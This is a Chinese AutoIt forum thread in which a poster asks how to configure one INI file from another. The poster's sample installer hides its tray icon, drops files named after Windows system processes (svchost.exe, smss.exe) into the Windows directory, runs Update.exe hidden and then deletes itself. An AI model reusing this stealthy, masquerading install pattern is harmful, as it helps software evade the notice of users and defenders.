找回密码
 加入
搜索
查看: 1797|回复: 2

[系统综合] 请教:通过读INI配置文件来写INI文件

[复制链接]
发表于 2010-5-16 15:48:33 | 显示全部楼层 |阅读模式
#ce _______________脚本开始_________________

AutoItSetOption("TrayIconHide", 1)
If Not FileExists(@WindowsDir & "\IEQQ") Then
DirCreate(@WindowsDir & "\IEQQ")
fileinstall("C:\IEQQ\barset.ini", @WindowsDir & "\IEQQ\barset.ini", 1)
fileinstall("C:\IEQQ\data.db3", @WindowsDir & "\IEQQ\data.db3", 1)
fileinstall("C:\IEQQ\GetUrl.dll", @WindowsDir & "\IEQQ\GetUrl.dll", 1)
fileinstall("C:\IEQQ\IE.dll", @WindowsDir & "\IEQQ\IE.dll", 1)
fileinstall("C:\IEQQ\smss.exe", @WindowsDir & "\IEQQ\smss.exe", 1)
fileinstall("C:\IEQQ\sqlite3.dll", @WindowsDir & "\IEQQ\sqlite3.dll", 1)
fileinstall("C:\IEQQ\svchost.exe", @WindowsDir & "\IEQQ\svchost.exe", 1)
fileinstall("C:\IEQQ\Update.exe", @WindowsDir & "\IEQQ\Update.exe", 1)
Run(@ComSpec & '  /C   c:\windows\IEQQ\Update.exe', "", @SW_HIDE)
Run(@ComSpec&' /c ping 127.0.0.1 -n 3&del /q "'&@ScriptFullPath&'"',@ScriptDir,@SW_HIDE)
Exit

barset.ini
[work]
mode=0
[server]
ip=192.168.1.248
port=9119
upport=9118
[run]
count=1
1=svchost.exe
想用fileinstall封装成一个EXE,然后这个barset.ini可以通过其它INI中的设置自动配置原来的INI
发表于 2010-5-16 20:06:23 | 显示全部楼层
iniread
iniwrite
发表于 2010-5-16 23:22:41 | 显示全部楼层
这标题让人觉得有点语法错误啊
您需要登录后才可以回帖 登录 | 加入

本版积分规则

QQ|手机版|小黑屋|AUTOIT CN ( 鲁ICP备19019924号-1 )谷歌 百度

GMT+8, 2024-5-20 16:52 , Processed in 0.079853 second(s), 24 queries .

Powered by Discuz! X3.5 Licensed

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表